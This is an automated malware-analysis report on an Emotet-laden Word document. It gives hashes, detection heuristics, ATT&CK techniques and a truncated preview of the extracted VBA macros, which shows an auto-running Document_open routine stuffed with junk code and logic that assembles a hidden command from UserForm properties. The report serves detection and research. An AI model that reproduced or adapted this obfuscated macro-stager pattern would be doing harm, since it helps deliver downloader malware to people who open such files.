Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c23a236f0001c473…

MALICIOUS

Office (OLE)

185.1 KB Created: 2019-12-17 19:35:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 7ef97719f64f2c7e203d1c0713324d27 SHA-1: 07ab2af36f64707a1ecd81c9322fbc26227319b3 SHA-256: c23a236f0001c473f113bf55e1a57d4142ca8cf77b46dcc46ee55a777b08cd94
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro designed to execute automatically. Heuristics indicate a command stager pattern involving CreateObject and hidden UserForm properties, strongly suggesting the execution of a secondary payload. ClamAV detection confirms this as Emotet, a known downloader family.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9726 bytes
SHA-256: bd5670cdbd4322d8848c771be888decb120376abd4e74b0cd9bdba0c85a91d83
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Qromnuhn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Uldcyqotze, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Sufvkzwpxii = Lobrlpbm To Ptcwlfzbtn
         Tguhacwa = Pgbtywdnf
         Kpchdljxhod = Vuwdoypcwh
Next
Select Case Urgcxgiplirsa
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Sujpditrwebtk = Gcabpmyo To Jxiqkiwmtsfmf
         Svapeutsyli = Cmufvqtlkalv
         Rpwuwxkxq = Kepfkebhdjhxz
Next
Select Case Jfiuotyoccc
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Xfapztscy = Snmotfjnyqo To Qyvucpbgzkcha
         Xjplhvofkcjs = Fqiudzaxxzik
         Dkgtvoqoadca = Lsswiluttmwl
Next
Select Case Mqcxnvbawqxee
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Fnjuloeg
End Sub

Attribute VB_Name = "Frgyylanpk"
Attribute VB_Base = "0{EC6760ED-DE26-4DCB-95F0-D4F6D23832C7}{015B065C-A839-4CBE-9972-C8FD24EAC99E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Hgysadjncb"
Function Gwpezmcwsnni()
   For Iabtinstqykhc = Kyedvbemgdpqf To Esbuioapwzgw
         Srbyfuxwh = Dnuqsxmkytrf
         Ljjiepecenl = Aouilmzeafyd
Next
Select Case Ldoblsitlonc
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Rusfexnyrg = Qromnuhn.Uldcyqotze
   For Gmlyudnkjmz = Nqabvboz To Npdlatntdf
         Wkhytbmvmktad = Ohxyrtbxj
         Mrwtvuaptptx = Nrxdvdhkmy
Next
Select Case Glfumyhbp
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Zvybcrmbv = Rusfexnyrg + Frgyylanpk.Zxrccsluqxb + Frgyylanpk.Czvybxofdmym + Frgyylanpk.Gspsqogsiur
   For Hhijkwpkaqup = Opifgifusso To Axjiebrex
         Oxtelueo = Czznzonmoqvp
         Nrhpnumrzeq = Biynzqnyxku
Next
Select Case Eriziyiequm
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Lbrvzrvlolukx = Zvybcrmbv + Frgyylanpk.Ubsejyepuf + Frgyylanpk.Qonzondbgcpy
   For Wmxgrclsswj = Vxmtmwssyz To Numgmlivlgowf
         Llxrqothbgbqw = Ymfjdiylfkbga
         Pnbyggbibj = Lalumwpicrw
Next
Select Case Nargphsssqn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3)
... (truncated)

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